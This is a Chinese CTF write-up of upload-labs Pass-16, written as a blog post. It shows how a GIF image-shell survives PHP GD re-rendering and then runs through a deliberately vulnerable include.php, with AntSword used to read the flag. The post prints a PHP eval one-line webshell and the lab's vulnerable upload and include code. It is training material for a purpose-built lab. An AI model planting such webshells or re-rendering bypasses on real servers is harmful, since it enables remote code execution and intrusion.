【CTF Web】BUUCTF Upload-Labs-Linux Pass-16 Writeup(文件上传+PHP+文件包含漏洞+GIF图片马+二次渲染绕过)

Upload-Labs-Linux

1
点击部署靶机。

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

注意

1.每一关没有固定的通关方法,大家不要自限思维!

2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路。

3.实在没有思路时,可以点击查看提示。

4.如果黑盒情况下,实在做不出,可以点击查看源码。

后续

如在渗透测试实战中遇到新的上传漏洞类型,会更新到upload-labs中。当然如果你也希望参加到这个工作当中,欢迎pull requests给我!

项目地址:https://github.com/c0ny1/upload-labs

任务

上传图片马到服务器。

注意:

1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

提示

本pass重新渲染了图片!

代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}


原理

二次渲染

"二次渲染"是一种处理图像的方法,主要用于提高安全性。二次渲染是通过 PHP 的 GD 库函数(如 imagecreatefromjpeg(), imagecreatefrompng(), imagecreatefromgif() 等)实现的。这些函数会读取原始图像文件,然后生成一个新的图像资源。然后,这个新的图像资源被用来创建一个新的图像文件(通过 imagejpeg(), imagepng(), imagegif() 等函数)。原始的上传文件在这个过程结束后被删除。

二次渲染的主要目的是为了防止恶意用户上传包含潜在恶意代码的图像文件。因为在二次渲染过程中,只有原始图像的视觉内容被保留,任何可能隐藏在图像文件中的恶意代码都会被丢弃。这是因为图像创建函数(如 imagecreatefromjpeg() 等)只解析图像数据,忽略任何其他可能存在的数据。

解法

传个一句话木马。

<?php @eval($_POST['a']); ?>

提示:文件未知,上传失败!

上传 GIF 图片马。上传成功。

右键点击图片,复制图像链接。

http://47a38343-d0ad-4ed0-9160-76e3decdea69.node5.buuoj.cn:81/upload/922021823.gif

访问:

http://47a38343-d0ad-4ed0-9160-76e3decdea69.node5.buuoj.cn:81/include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

通过蚁剑连接:

http://47a38343-d0ad-4ed0-9160-76e3decdea69.node5.buuoj.cn:81/include.php?file=upload/922021823.gif

连接失败。

下载上传后的图片,拉进 winhex。

和原始图片马比较,发现一句话木马部分被移除了。推测上传时进行了二次渲染。

将一句话木马插入到图片未被修改的部分。

<?php @eval($_POST['a']); ?>

再次上传修改后的 GIF 图片马。上传成功。

右键点击图片,复制图像链接。

http://47a38343-d0ad-4ed0-9160-76e3decdea69.node5.buuoj.cn:81/upload/319647091.gif

使用蚁剑连接:

http://47a38343-d0ad-4ed0-9160-76e3decdea69.node5.buuoj.cn:81/include.php?file=upload/319647091.gif

访问根目录。

找到 flag。

Flag

flag{e5c6ec40-25ad-4ef3-bd64-22ae1e9cd061}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值